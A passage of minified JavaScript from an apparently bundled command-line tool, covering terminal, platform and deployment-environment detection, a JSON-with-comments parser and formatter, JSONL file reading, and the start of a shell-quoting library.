process.env.TERM_PROGRAM;if(process.env.TMUX)return"tmux";if(process.env.STY)return"screen";if(process.env.KONSOLE_VERSION)return"konsole";if(process.env.GNOME_TERMINAL_SERVICE)return"gnome-terminal";if(process.env.XTERM_VERSION)return"xterm";if(process.env.VTE_VERSION)return"vte-based";if(process.env.TERMINATOR_UUID)return"terminator";if(process.env.KITTY_WINDOW_ID)return"kitty";if(process.env.ALACRITTY_LOG)return"alacritty";if(process.env.TILIX_ID)return"tilix";if(process.env.WT_SESSION)return"windows-terminal";if(process.env.SESSIONNAME&&process.env.TERM==="cygwin")return"cygwin";if(process.env.MSYSTEM)return process.env.MSYSTEM.toLowerCase();if(process.env.ConEmuANSI||process.env.ConEmuPID||process.env.ConEmuTask)return"conemu";if(process.env.WSL_DISTRO_NAME)return`wsl-${process.env.WSL_DISTRO_NAME}`;if(j28())return"ssh-session";if(process.env.TERM){let K=process.env.TERM;if(K.includes("alacritty"))return"alacritty";if(K.includes("rxvt"))return"rxvt";if(K.includes("termite"))return"termite";return process.env.TERM}if(!process.stdout.isTTY)return"non-interactive";return null}function j28(){return!!(process.env.SSH_CONNECTION||process.env.SSH_CLIENT||process.env.SSH_TTY)}var W28,pZq,dZq,cZq,D28,lZq,iZq=()=>{return process.env.__CFBundleIdentifier==="com.conductor.app"},Eb1,rZq,m6;var z3=k(()=>{p7();n3();e6();Jz();l6();uz();Ki();W28=o(Nb1(),1);pZq=z6(async()=>{try{let A=e7(),K=setTimeout(()=>A.abort(),1000);return await A8.head("http://1.1.1.1",{signal:A.signal}),clearTimeout(K),!0}catch{return!1}});dZq=z6(async()=>{let A=[];if(await RwA("npm"))A.push("npm");if(await RwA("yarn"))A.push("yarn");if(await RwA("pnpm"))A.push("pnpm");return A}),cZq=z6(async()=>{let A=[];if(await RwA("bun"))A.push("bun");if(await RwA("deno"))A.push("deno");if(await RwA("node"))A.push("node");return A}),D28=z6(()=>{try{return BA().existsSync("/proc/sys/fs/binfmt_misc/WSLInterop")}catch(A){return!1}}),lZq=z6(()=>{try{if(!D28())return!1;let{cmd:A}=W28.findActualExecutable("npm",[]);return A.startsWith("/mnt/c/")}catch(A){return!1}}),Eb1=["pycharm","intellij","webstorm","phpstorm","rubymine","clion","goland","rider","datagrip","appcode","dataspell","aqua","gateway","fleet","jetbrains","androidstudio"];rZq=z6(()=>{if(P1(process.env.CODESPACES))return"codespaces";if(process.env.GITPOD_WORKSPACE_ID)return"gitpod";if(process.env.REPL_ID||process.env.REPL_SLUG)return"replit";if(process.env.PROJECT_DOMAIN)return"glitch";if(P1(process.env.VERCEL))return"vercel";if(process.env.RAILWAY_ENVIRONMENT_NAME||process.env.RAILWAY_SERVICE_NAME)return"railway";if(P1(process.env.RENDER))return"render";if(P1(process.env.NETLIFY))return"netlify";if(process.env.DYNO)return"heroku";if(process.env.FLY_APP_NAME||process.env.FLY_MACHINE_ID)return"fly.io";if(P1(process.env.CF_PAGES))return"cloudflare-pages";if(process.env.DENO_DEPLOYMENT_ID)return"deno-deploy";if(process.env.AWS_LAMBDA_FUNCTION_NAME)return"aws-lambda";if(process.env.AWS_EXECUTION_ENV==="AWS_ECS_FARGATE")return"aws-fargate";if(process.env.AWS_EXECUTION_ENV==="AWS_ECS_EC2")return"aws-ecs";try{if(BA().existsSync("/sys/hypervisor/uuid")){if(BA().readFileSync("/sys/hypervisor/uuid",{encoding:"utf8"}).trim().toLowerCase().startsWith("ec2"))return"aws-ec2"}}catch{}if(process.env.K_SERVICE)return"gcp-cloud-run";if(process.env.GOOGLE_CLOUD_PROJECT)return"gcp";if(process.env.WEBSITE_SITE_NAME||process.env.WEBSITE_SKU)return"azure-app-service";if(process.env.AZURE_FUNCTIONS_ENVIRONMENT)return"azure-functions";if(process.env.APP_URL?.includes("ondigitalocean.app"))return"digitalocean-app-platform";if(process.env.SPACE_CREATOR_USER_ID)return"huggingface-spaces";if(P1(process.env.GITHUB_ACTIONS))return"github-actions";if(P1(process.env.GITLAB_CI))return"gitlab-ci";if(process.env.CIRCLECI)return"circleci";if(process.env.BUILDKITE)return"buildkite";if(P1(!1))return"ci";if(process.env.KUBERNETES_SERVICE_HOST)return"kubernetes";try{if(BA().existsSync("/.dockerenv"))return"docker"}catch{}if(m6.platform==="darwin")return"unknown-darwin";if(m6.platform==="linux")return"unknown-linux";if(m6.platform==="win32")return"unknown-win32";return"unknown"});m6={hasInternetAccess:pZq,isCI:P1(!1),platform:["win32","darwin"].includes(process.platform)?process.platform:"linux",arch:process.arch,nodeVersion:process.version,terminal:nZq(),isSSH:j28,getPackageManagers:dZq,getRuntimes:cZq,isRunningWithBun:z6(R1A),isWslEnvironment:D28,isNpmFromWindowsPath:lZq,isConductor:iZq,detectDeploymentEnvironment:rZq}});function STA(A,K=!1){let q=A.length,Y=0,z="",w=0,H=16,J=0,O=0,X=0,$=0,_=0;function G(f,N){let T=0,C=0;while(T<f||!N){let R=A.charCodeAt(Y);if(R>=48&&R<=57)C=C*16+R-48;else if(R>=65&&R<=70)C=C*16+R-65+10;else if(R>=97&&R<=102)C=C*16+R-97+10;else break;Y++,T++}if(T<f)C=-1;return C}function Z(f){Y=f,z="",w=0,H=16,_=0}function W(){let f=Y;if(A.charCodeAt(Y)===48)Y++;else{Y++;while(Y<A.length&&ywA(A.charCodeAt(Y)))Y++}if(Y<A.length&&A.charCodeAt(Y)===46)if(Y++,Y<A.length&&ywA(A.charCodeAt(Y))){Y++;while(Y<A.length&&ywA(A.charCodeAt(Y)))Y++}else return _=3,A.substring(f,Y);let N=Y;if(Y<A.length&&(A.charCodeAt(Y)===69||A.charCodeAt(Y)===101)){if(Y++,Y<A.length&&A.charCodeAt(Y)===43||A.charCodeAt(Y)===45)Y++;if(Y<A.length&&ywA(A.charCodeAt(Y))){Y++;while(Y<A.length&&ywA(A.charCodeAt(Y)))Y++;N=Y}else _=3}return A.substring(f,N)}function D(){let f="",N=Y;while(!0){if(Y>=q){f+=A.substring(N,Y),_=2;break}let T=A.charCodeAt(Y);if(T===34){f+=A.substring(N,Y),Y++;break}if(T===92){if(f+=A.substring(N,Y),Y++,Y>=q){_=2;break}switch(A.charCodeAt(Y++)){case 34:f+='"';break;case 92:f+="\\";break;case 47:f+="/";break;case 98:f+="\b";break;case 102:f+="\f";break;case 110:f+=` `;break;case 114:f+="\r";break;case 116:f+="\t";break;case 117:let R=G(4,!0);if(R>=0)f+=String.fromCharCode(R);else _=4;break;default:_=5}N=Y;continue}if(T>=0&&T<=31)if(ITA(T)){f+=A.substring(N,Y),_=2;break}else _=6;Y++}return f}function j(){if(z="",_=0,w=Y,O=J,$=X,Y>=q)return w=q,H=17;let f=A.charCodeAt(Y);if(kb1(f)){do Y++,z+=String.fromCharCode(f),f=A.charCodeAt(Y);while(kb1(f));return H=15}if(ITA(f)){if(Y++,z+=String.fromCharCode(f),f===13&&A.charCodeAt(Y)===10)Y++,z+=` `;return J++,X=Y,H=14}switch(f){case 123:return Y++,H=1;case 125:return Y++,H=2;case 91:return Y++,H=3;case 93:return Y++,H=4;case 58:return Y++,H=6;case 44:return Y++,H=5;case 34:return Y++,z=D(),H=10;case 47:let N=Y-1;if(A.charCodeAt(Y+1)===47){Y+=2;while(Y<q){if(ITA(A.charCodeAt(Y)))break;Y++}return z=A.substring(N,Y),H=12}if(A.charCodeAt(Y+1)===42){Y+=2;let T=q-1,C=!1;while(Y<T){let R=A.charCodeAt(Y);if(R===42&&A.charCodeAt(Y+1)===47){Y+=2,C=!0;break}if(Y++,ITA(R)){if(R===13&&A.charCodeAt(Y)===10)Y++;J++,X=Y}}if(!C)Y++,_=1;return z=A.substring(N,Y),H=13}return z+=String.fromCharCode(f),Y++,H=16;case 45:if(z+=String.fromCharCode(f),Y++,Y===q||!ywA(A.charCodeAt(Y)))return H=16;case 48:case 49:case 50:case 51:case 52:case 53:case 54:case 55:case 56:case 57:return z+=W(),H=11;default:while(Y<q&&M(f))Y++,f=A.charCodeAt(Y);if(w!==Y){switch(z=A.substring(w,Y),z){case"true":return H=8;case"false":return H=9;case"null":return H=7}return H=16}return z+=String.fromCharCode(f),Y++,H=16}}function M(f){if(kb1(f)||ITA(f))return!1;switch(f){case 125:case 93:case 123:case 91:case 34:case 58:case 44:case 47:return!1}return!0}function P(){let f;do f=j();while(f>=12&&f<=15);return f}return{setPosition:Z,getPosition:()=>Y,scan:K?P:j,getToken:()=>H,getTokenValue:()=>z,getTokenOffset:()=>w,getTokenLength:()=>Y-w,getTokenStartLine:()=>O,getTokenStartCharacter:()=>w-$,getTokenError:()=>_}}function kb1(A){return A===32||A===9}function ITA(A){return A===10||A===13}function ywA(A){return A>=48&&A<=57}var M28;var noA=k(()=>{(function(A){A[A.lineFeed=10]="lineFeed",A[A.carriageReturn=13]="carriageReturn",A[A.space=32]="space",A[A._0=48]="_0",A[A._1=49]="_1",A[A._2=50]="_2",A[A._3=51]="_3",A[A._4=52]="_4",A[A._5=53]="_5",A[A._6=54]="_6",A[A._7=55]="_7",A[A._8=56]="_8",A[A._9=57]="_9",A[A.a=97]="a",A[A.b=98]="b",A[A.c=99]="c",A[A.d=100]="d",A[A.e=101]="e",A[A.f=102]="f",A[A.g=103]="g",A[A.h=104]="h",A[A.i=105]="i",A[A.j=106]="j",A[A.k=107]="k",A[A.l=108]="l",A[A.m=109]="m",A[A.n=110]="n",A[A.o=111]="o",A[A.p=112]="p",A[A.q=113]="q",A[A.r=114]="r",A[A.s=115]="s",A[A.t=116]="t",A[A.u=117]="u",A[A.v=118]="v",A[A.w=119]="w",A[A.x=120]="x",A[A.y=121]="y",A[A.z=122]="z",A[A.A=65]="A",A[A.B=66]="B",A[A.C=67]="C",A[A.D=68]="D",A[A.E=69]="E",A[A.F=70]="F",A[A.G=71]="G",A[A.H=72]="H",A[A.I=73]="I",A[A.J=74]="J",A[A.K=75]="K",A[A.L=76]="L",A[A.M=77]="M",A[A.N=78]="N",A[A.O=79]="O",A[A.P=80]="P",A[A.Q=81]="Q",A[A.R=82]="R",A[A.S=83]="S",A[A.T=84]="T",A[A.U=85]="U",A[A.V=86]="V",A[A.W=87]="W",A[A.X=88]="X",A[A.Y=89]="Y",A[A.Z=90]="Z",A[A.asterisk=42]="asterisk",A[A.backslash=92]="backslash",A[A.closeBrace=125]="closeBrace",A[A.closeBracket=93]="closeBracket",A[A.colon=58]="colon",A[A.comma=44]="comma",A[A.dot=46]="dot",A[A.doubleQuote=34]="doubleQuote",A[A.minus=45]="minus",A[A.openBrace=123]="openBrace",A[A.openBracket=91]="openBracket",A[A.plus=43]="plus",A[A.slash=47]="slash",A[A.formFeed=12]="formFeed",A[A.tab=9]="tab"})(M28||(M28={}))});var FN,Cb1,P28;var V28=k(()=>{FN=Array(20).fill(0).map((A,K)=>{return" ".repeat(K)}),Cb1={" ":{"\n":Array(200).fill(0).map((A,K)=>{return` `+" ".repeat(K)}),"\r":Array(200).fill(0).map((A,K)=>{return"\r"+" ".repeat(K)}),"\r\n":Array(200).fill(0).map((A,K)=>{return`\r `+" ".repeat(K)})},"\t":{"\n":Array(200).fill(0).map((A,K)=>{return` `+"\t".repeat(K)}),"\r":Array(200).fill(0).map((A,K)=>{return"\r"+"\t".repeat(K)}),"\r\n":Array(200).fill(0).map((A,K)=>{return`\r `+"\t".repeat(K)})}},P28=[` `,"\r",`\r `]});function Lb1(A,K,q){let Y,z,w,H,J;if(K){H=K.offset,J=H+K.length,w=H;while(w>0&&!hTA(A,w-1))w--;let T=J;while(T<A.length&&!hTA(A,T))T++;z=A.substring(w,T),Y=aZq(z,q)}else z=A,Y=0,w=0,H=0,J=A.length;let O=sZq(q,A),X=P28.includes(O),$=0,_=0,G;if(q.insertSpaces)G=FN[q.tabSize||4]??IwA(FN[1],q.tabSize||4);else G="\t";let Z=G==="\t"?"\t":" ",W=STA(z,!1),D=!1;function j(){if($>1)return IwA(O,$)+IwA(G,Y+_);let T=G.length*(Y+_);if(!X||T>Cb1[Z][O].length)return O+IwA(G,Y+_);if(T<=0)return O;return Cb1[Z][O][T]}function M(){let T=W.scan();$=0;while(T===15||T===14){if(T===14&&q.keepLines)$+=1;else if(T===14)$=1;T=W.scan()}return D=T===16||W.getTokenError()!==0,T}let P=[];function f(T,C,R){if(!D&&(!K||C<J&&R>H)&&A.substring(C,R)!==T)P.push({offset:C,length:R-C,content:T})}let N=M();if(q.keepLines&&$>0)f(IwA(O,$),0,0);if(N!==17){let T=W.getTokenOffset()+w,C=G.length*Y<20&&q.insertSpaces?FN[G.length*Y]:IwA(G,Y);f(C,w,T)}while(N!==17){let T=W.getTokenOffset()+W.getTokenLength()+w,C=M(),R="",x=!1;while($===0&&(C===12||C===13)){let B=W.getTokenOffset()+w;f(FN[1],T,B),T=W.getTokenOffset()+W.getTokenLength()+w,x=C===12,R=x?j():"",C=M()}if(C===2){if(N!==1)_--;if(q.keepLines&&$>0||!q.keepLines&&N!==1)R=j();else if(q.keepLines)R=FN[1]}else if(C===4){if(N!==3)_--;if(q.keepLines&&$>0||!q.keepLines&&N!==3)R=j();else if(q.keepLines)R=FN[1]}else{switch(N){case 3:case 1:if(_++,q.keepLines&&$>0||!q.keepLines)R=j();else R=FN[1];break;case 5:if(q.keepLines&&$>0||!q.keepLines)R=j();else R=FN[1];break;case 12:R=j();break;case 13:if($>0)R=j();else if(!x)R=FN[1];break;case 6:if(q.keepLines&&$>0)R=j();else if(!x)R=FN[1];break;case 10:if(q.keepLines&&$>0)R=j();else if(C===6&&!x)R="";break;case 7:case 8:case 9:case 11:case 2:case 4:if(q.keepLines&&$>0)R=j();else if((C===12||C===13)&&!x)R=FN[1];else if(C!==5&&C!==17)D=!0;break;case 16:D=!0;break}if($>0&&(C===12||C===13))R=j()}if(C===17)if(q.keepLines&&$>0)R=j();else R=q.insertFinalNewline?O:"";let y=W.getTokenOffset()+w;f(R,T,y),N=C}return P}function IwA(A,K){let q="";for(let Y=0;Y<K;Y++)q+=A;return q}function aZq(A,K){let q=0,Y=0,z=K.tabSize||4;while(q<A.length){let w=A.charAt(q);if(w===FN[1])Y++;else if(w==="\t")Y+=z;else break;q++}return Math.floor(Y/z)}function sZq(A,K){for(let q=0;q<K.length;q++){let Y=K.charAt(q);if(Y==="\r"){if(q+1<K.length&&K.charAt(q+1)===` `)return`\r `;return"\r"}else if(Y===` `)return` `}return A&&A.eol||` `}function hTA(A,K){return`\r `.indexOf(A.charAt(K))!==-1}var Rb1=k(()=>{noA();V28()});function f28(A,K=[],q=bTA.DEFAULT){let Y=null,z=[],w=[];function H(O){if(Array.isArray(z))z.push(O);else if(Y!==null)z[Y]=O}return Ib1(A,{onObjectBegin:()=>{let O={};H(O),w.push(z),z=O,Y=null},onObjectProperty:(O)=>{Y=O},onObjectEnd:()=>{z=w.pop()},onArrayBegin:()=>{let O=[];H(O),w.push(z),z=O,Y=null},onArrayEnd:()=>{z=w.pop()},onLiteralValue:H,onError:(O,X,$)=>{K.push({error:O,offset:X,length:$})}},q),z[0]}function yb1(A,K=[],q=bTA.DEFAULT){let Y={type:"array",offset:-1,length:-1,children:[],parent:void 0};function z(O){if(Y.type==="property")Y.length=O-Y.offset,Y=Y.parent}function w(O){return Y.children.push(O),O}Ib1(A,{onObjectBegin:(O)=>{Y=w({type:"object",offset:O,length:-1,parent:Y,children:[]})},onObjectProperty:(O,X,$)=>{Y=w({type:"property",offset:X,length:-1,parent:Y,children:[]}),Y.children.push({type:"string",value:O,offset:X,length:$,parent:Y})},onObjectEnd:(O,X)=>{z(O+X),Y.length=O+X-Y.offset,Y=Y.parent,z(O+X)},onArrayBegin:(O,X)=>{Y=w({type:"array",offset:O,length:-1,parent:Y,children:[]})},onArrayEnd:(O,X)=>{Y.length=O+X-Y.offset,Y=Y.parent,z(O+X)},onLiteralValue:(O,X,$)=>{w({type:eZq(O),offset:X,length:$,parent:Y,value:O}),z(X+$)},onSeparator:(O,X,$)=>{if(Y.type==="property"){if(O===":")Y.colonOffset=X;else if(O===",")z(X)}},onError:(O,X,$)=>{K.push({error:O,offset:X,length:$})}},q);let J=Y.children[0];if(J)delete J.parent;return J}function roA(A,K){if(!A)return;let q=A;for(let Y of K)if(typeof Y==="string"){if(q.type!=="object"||!Array.isArray(q.children))return;let z=!1;for(let w of q.children)if(Array.isArray(w.children)&&w.children[0].value===Y&&w.children.length===2){q=w.children[1],z=!0;break}if(!z)return}else{let z=Y;if(q.type!=="array"||z<0||!Array.isArray(q.children)||z>=q.children.length)return;q=q.children[z]}return q}function Ib1(A,K,q=bTA.DEFAULT){let Y=STA(A,!1),z=[];function w(F){return F?()=>F(Y.getTokenOffset(),Y.getTokenLength(),Y.getTokenStartLine(),Y.getTokenStartCharacter()):()=>!0}function H(F){return F?()=>F(Y.getTokenOffset(),Y.getTokenLength(),Y.getTokenStartLine(),Y.getTokenStartCharacter(),()=>z.slice()):()=>!0}function J(F){return F?(Q)=>F(Q,Y.getTokenOffset(),Y.getTokenLength(),Y.getTokenStartLine(),Y.getTokenStartCharacter()):()=>!0}function O(F){return F?(Q)=>F(Q,Y.getTokenOffset(),Y.getTokenLength(),Y.getTokenStartLine(),Y.getTokenStartCharacter(),()=>z.slice()):()=>!0}let X=H(K.onObjectBegin),$=O(K.onObjectProperty),_=w(K.onObjectEnd),G=H(K.onArrayBegin),Z=w(K.onArrayEnd),W=O(K.onLiteralValue),D=J(K.onSeparator),j=w(K.onComment),M=J(K.onError),P=q&&q.disallowComments,f=q&&q.allowTrailingComma;function N(){while(!0){let F=Y.scan();switch(Y.getTokenError()){case 4:T(14);break;case 5:T(15);break;case 3:T(13);break;case 1:if(!P)T(11);break;case 2:T(12);break;case 6:T(16);break}switch(F){case 12:case 13:if(P)T(10);else j();break;case 16:T(1);break;case 15:case 14:break;default:return F}}}function T(F,Q=[],u=[]){if(M(F),Q.length+u.length>0){let d=Y.getToken();while(d!==17){if(Q.indexOf(d)!==-1){N();break}else if(u.indexOf(d)!==-1)break;d=N()}}}function C(F){let Q=Y.getTokenValue();if(F)W(Q);else $(Q),z.push(Q);return N(),!0}function R(){switch(Y.getToken()){case 11:let F=Y.getTokenValue(),Q=Number(F);if(isNaN(Q))T(2),Q=0;W(Q);break;case 7:W(null);break;case 8:W(!0);break;case 9:W(!1);break;default:return!1}return N(),!0}function x(){if(Y.getToken()!==10)return T(3,[],[2,5]),!1;if(C(!1),Y.getToken()===6){if(D(":"),N(),!b())T(4,[],[2,5])}else T(5,[],[2,5]);return z.pop(),!0}function y(){X(),N();let F=!1;while(Y.getToken()!==2&&Y.getToken()!==17){if(Y.getToken()===5){if(!F)T(4,[],[]);if(D(","),N(),Y.getToken()===2&&f)break}else if(F)T(6,[],[]);if(!x())T(4,[],[2,5]);F=!0}if(_(),Y.getToken()!==2)T(7,[2],[]);else N();return!0}function B(){G(),N();let F=!0,Q=!1;while(Y.getToken()!==4&&Y.getToken()!==17){if(Y.getToken()===5){if(!Q)T(4,[],[]);if(D(","),N(),Y.getToken()===4&&f)break}else if(Q)T(6,[],[]);if(F)z.push(0),F=!1;else z[z.length-1]++;if(!b())T(4,[],[4,5]);Q=!0}if(Z(),!F)z.pop();if(Y.getToken()!==4)T(8,[4],[]);else N();return!0}function b(){switch(Y.getToken()){case 3:return B();case 1:return y();case 10:return C(!0);default:return R()}}if(N(),Y.getToken()===17){if(q.allowEmptyContent)return!0;return T(4,[],[]),!1}if(!b())return T(4,[],[]),!1;if(Y.getToken()!==17)T(9,[],[]);return!0}function eZq(A){switch(typeof A){case"boolean":return"boolean";case"number":return"number";case"string":return"string";case"object":{if(!A)return"null";else if(Array.isArray(A))return"array";return"object"}default:return"null"}}var bTA;var Sb1=k(()=>{noA();(function(A){A.DEFAULT={allowTrailingComma:!1}})(bTA||(bTA={}))});function N28(A,K,q,Y){let z=K.slice(),H=yb1(A,[]),J=void 0,O=void 0;while(z.length>0)if(O=z.pop(),J=roA(H,z),J===void 0&&q!==void 0)if(typeof O==="string")q={[O]:q};else q=[q];else break;if(!J){if(q===void 0)throw Error("Can not delete in empty document");return y1A(A,{offset:H?H.offset:0,length:H?H.length:0,content:JSON.stringify(q)},Y)}else if(J.type==="object"&&typeof O==="string"&&Array.isArray(J.children)){let X=roA(J,[O]);if(X!==void 0)if(q===void 0){if(!X.parent)throw Error("Malformed AST");let $=J.children.indexOf(X.parent),_,G=X.parent.offset+X.parent.length;if($>0){let Z=J.children[$-1];_=Z.offset+Z.length}else if(_=J.offset+1,J.children.length>1)G=J.children[1].offset;return y1A(A,{offset:_,length:G-_,content:""},Y)}else return y1A(A,{offset:X.offset,length:X.length,content:JSON.stringify(q)},Y);else{if(q===void 0)return[];let $=`${JSON.stringify(O)}: ${JSON.stringify(q)}`,_=Y.getInsertionIndex?Y.getInsertionIndex(J.children.map((Z)=>Z.children[0].value)):J.children.length,G;if(_>0){let Z=J.children[_-1];G={offset:Z.offset+Z.length,length:0,content:","+$}}else if(J.children.length===0)G={offset:J.offset+1,length:0,content:$};else G={offset:J.offset+1,length:0,content:$+","};return y1A(A,G,Y)}}else if(J.type==="array"&&typeof O==="number"&&Array.isArray(J.children)){let X=O;if(X===-1){let $=`${JSON.stringify(q)}`,_;if(J.children.length===0)_={offset:J.offset+1,length:0,content:$};else{let G=J.children[J.children.length-1];_={offset:G.offset+G.length,length:0,content:","+$}}return y1A(A,_,Y)}else if(q===void 0&&J.children.length>=0){let $=O,_=J.children[$],G;if(J.children.length===1)G={offset:J.offset+1,length:J.length-2,content:""};else if(J.children.length-1===$){let Z=J.children[$-1],W=Z.offset+Z.length,D=J.offset+J.length;G={offset:W,length:D-2-W,content:""}}else G={offset:_.offset,length:J.children[$+1].offset-_.offset,content:""};return y1A(A,G,Y)}else if(q!==void 0){let $,_=`${JSON.stringify(q)}`;if(!Y.isArrayInsertion&&J.children.length>O){let G=J.children[O];$={offset:G.offset,length:G.length,content:_}}else if(J.children.length===0||O===0)$={offset:J.offset+1,length:0,content:J.children.length===0?_:_+","};else{let G=O>J.children.length?J.children.length:O,Z=J.children[G-1];$={offset:Z.offset+Z.length,length:0,content:","+_}}return y1A(A,$,Y)}else throw Error(`Can not ${q===void 0?"remove":Y.isArrayInsertion?"insert":"modify"} Array index ${X} as length is not sufficient`)}else throw Error(`Can not add ${typeof O!=="number"?"index":"property"} to parent of type ${J.type}`)}function y1A(A,K,q){if(!q.formattingOptions)return[K];let Y=ooA(A,K),z=K.offset,w=K.offset+K.content.length;if(K.length===0||K.content.length===0){while(z>0&&!hTA(Y,z-1))z--;while(w<Y.length&&!hTA(Y,w))w++}let H=Lb1(Y,{offset:z,length:w-z},{...q.formattingOptions,keepLines:!1});for(let O=H.length-1;O>=0;O--){let X=H[O];Y=ooA(Y,X),z=Math.min(z,X.offset),w=Math.max(w,X.offset+X.length),w+=X.content.length-X.length}let J=A.length-(Y.length-w)-z;return[{offset:z,length:J,content:Y.substring(z,w)}]}function ooA(A,K){return A.substring(0,K.offset)+K.content+A.substring(K.offset+K.length)}var T28=k(()=>{Rb1();Sb1()});function C28(A,K,q,Y){return N28(A,K,q,Y)}function L28(A,K){let q=K.slice(0).sort((z,w)=>{let H=z.offset-w.offset;if(H===0)return z.length-w.length;return H}),Y=A.length;for(let z=q.length-1;z>=0;z--){let w=q[z];if(w.offset+w.length<=Y)A=ooA(A,w);else throw Error("Overlapping edit");Y=w.offset}return A}var v28,E28,hb1,k28;var R28=k(()=>{Rb1();T28();noA();Sb1();(function(A){A[A.None=0]="None",A[A.UnexpectedEndOfComment=1]="UnexpectedEndOfComment",A[A.UnexpectedEndOfString=2]="UnexpectedEndOfString",A[A.UnexpectedEndOfNumber=3]="UnexpectedEndOfNumber",A[A.InvalidUnicode=4]="InvalidUnicode",A[A.InvalidEscapeCharacter=5]="InvalidEscapeCharacter",A[A.InvalidCharacter=6]="InvalidCharacter"})(v28||(v28={}));(function(A){A[A.OpenBraceToken=1]="OpenBraceToken",A[A.CloseBraceToken=2]="CloseBraceToken",A[A.OpenBracketToken=3]="OpenBracketToken",A[A.CloseBracketToken=4]="CloseBracketToken",A[A.CommaToken=5]="CommaToken",A[A.ColonToken=6]="ColonToken",A[A.NullKeyword=7]="NullKeyword",A[A.TrueKeyword=8]="TrueKeyword",A[A.FalseKeyword=9]="FalseKeyword",A[A.StringLiteral=10]="StringLiteral",A[A.NumericLiteral=11]="NumericLiteral",A[A.LineCommentTrivia=12]="LineCommentTrivia",A[A.BlockCommentTrivia=13]="BlockCommentTrivia",A[A.LineBreakTrivia=14]="LineBreakTrivia",A[A.Trivia=15]="Trivia",A[A.Unknown=16]="Unknown",A[A.EOF=17]="EOF"})(E28||(E28={}));hb1=f28;(function(A){A[A.InvalidSymbol=1]="InvalidSymbol",A[A.InvalidNumberFormat=2]="InvalidNumberFormat",A[A.PropertyNameExpected=3]="PropertyNameExpected",A[A.ValueExpected=4]="ValueExpected",A[A.ColonExpected=5]="ColonExpected",A[A.CommaExpected=6]="CommaExpected",A[A.CloseBraceExpected=7]="CloseBraceExpected",A[A.CloseBracketExpected=8]="CloseBracketExpected",A[A.EndOfFileExpected=9]="EndOfFileExpected",A[A.InvalidCommentToken=10]="InvalidCommentToken",A[A.UnexpectedEndOfComment=11]="UnexpectedEndOfComment",A[A.UnexpectedEndOfString=12]="UnexpectedEndOfString",A[A.UnexpectedEndOfNumber=13]="UnexpectedEndOfNumber",A[A.InvalidUnicode=14]="InvalidUnicode",A[A.InvalidEscapeCharacter=15]="InvalidEscapeCharacter",A[A.InvalidCharacter=16]="InvalidCharacter"})(k28||(k28={}))});import{readFile as qWq}from"fs/promises";function SwA(A){return A.startsWith(YWq)?A.slice(1):A}function y28(A){if(!A)return null;try{return hb1(SwA(A))}catch(K){return KA(K),null}}function zWq(A){let K=I28,q=A.length,Y=K(A);if(!Y.error||Y.done||Y.read>=q)return Y.values;let{values:z,read:w}=Y;while(w<q){let H=typeof A==="string"?A.indexOf(` `,w):A.indexOf(10,w);if(H===-1)break;w=H+1;let J=K(A,w);if(J.values.length>0)z=z.concat(J.values);if(!J.error||J.done||J.read>=q)break;w=J.read}return z}function wWq(A){let K=A.length,q=0;if(A[0]===239&&A[1]===187&&A[2]===191)q=3;let Y=[];while(q<K){let z=A.indexOf(10,q);if(z===-1)z=K;let w=A.toString("utf8",q,z).trim();if(q=z+1,!w)continue;try{Y.push(JSON.parse(w))}catch{}}return Y}function HWq(A){let K=SwA(A),q=K.length,Y=0,z=[];while(Y<q){let w=K.indexOf(` `,Y);if(w===-1)w=q;let H=K.substring(Y,w).trim();if(Y=w+1,!H)continue;try{z.push(JSON.parse(H))}catch{}}return z}function I1A(A){if(I28)return zWq(A);if(typeof A==="string")return HWq(A);return wWq(A)}async function S1A(A){try{let K=await qWq(A);if(K.length===0)return[];return I1A(K)}catch(K){return KA(Error(`Error opening file ${A}: ${K}`)),[]}}function S28(A,K){try{if(!A||A.trim()==="")return UA([K],null,4);let q=SwA(A),Y=hb1(q);if(Array.isArray(Y)){let z=Y.length,J=C28(q,z===0?[0]:[z],K,{formattingOptions:{insertSpaces:!0,tabSize:4},isArrayInsertion:!0});if(!J||J.length===0){let O=[...Y,K];return UA(O,null,4)}return L28(q,J)}else return UA([K],null,4)}catch(q){return KA(q),UA([K],null,4)}}var YWq="\uFEFF",P3,I28;var Xw=k(()=>{C1();R28();p7();b1();P3=z6((A,K=!0)=>{if(!A)return null;try{return JSON.parse(SwA(A))}catch(q){if(K)KA(q);return null}});I28=(()=>{if(typeof Bun>"u")return!1;let K=Bun.JSONL;if(!K?.parseChunk)return!1;return K.parseChunk})()});var bb1,o6,h1A,h28;var B5=k(()=>{p7();C1();e6();bb1=["macos","wsl"],o6=z6(()=>{try{if(process.platform==="darwin")return"macos";if(process.platform==="win32")return"windows";if(process.platform==="linux"){try{let A=BA().readFileSync("/proc/version",{encoding:"utf8"});if(A.toLowerCase().includes("microsoft")||A.toLowerCase().includes("wsl"))return"wsl"}catch(A){KA(A instanceof Error?A:Error(String(A)))}return"linux"}return"unknown"}catch(A){return KA(A instanceof Error?A:Error(String(A))),"unknown"}}),h1A=z6(()=>{if(process.platform!=="linux")return;try{let A=BA().readFileSync("/proc/version",{encoding:"utf8"}),K=A.match(/WSL(\d+)/i);if(K&&K[1])return K[1];if(A.toLowerCase().includes("microsoft"))return"1";return}catch(A){KA(A instanceof Error?A:Error(String(A)));return}}),h28=o6()!=="windows"});var x28=v((ivz,b28)=>{b28.exports=function(K){return K.map(function(q){if(q==="")return"''";if(q&&typeof q==="object")return q.op.replace(/(.)/g,"\\$1");if(/["\s\\]/.test(q)&&!/'/.test(q))return"'"+q.replace(/(['])/g,"\\$1")+"'";if(/["'\s]/.test(q))return'"'+q.replace(/(["\\$`!])/g,"\\$1")+'"';return String(q).replace(/([A-Za-z]:)?([#!"$&'()*,:;<=>?@[\\\]^`{|}])/g,"$1\\$2")}).join(" ")}});var U28=v((nvz,Q28)=>{var F28="(?:"+["\\|\\|","\\&\\&",";;","\\|\\&","\\<\\(","\\<\\<\\<",">>",">\\&","<\\&","[&;()|<>]"].join("|")+")",u28=new RegExp("^"+F28+"$"),B28="|&;()<> \\t",JWq='"((\\\\"|[^"])*?)"',OWq="'((\\\\'|[^'])*?)'",XWq=/^#$/,m28="'",g28='"',xb1="$",b1A="",$Wq=4294967296;for(aoA=0;aoA<4;aoA++)b1A+=($Wq*Math.random()).toString(16);var aoA,_Wq=new RegExp("^"+b1A);function GWq(A,K){var q=K.lastIndex,Y=[],z;while(z=K.exec(A))if(Y.push(z),K.lastIndex===z.index)K.lastIndex+=1;return K.lastIndex=q,Y}function ZWq(A,K,q){var Y=typeof A==="function"?A(q):A[q];if(typeof Y>"u"&&q!="")Y="";else if(typeof Y>"u")Y="$";if(typeof Y==="object")return 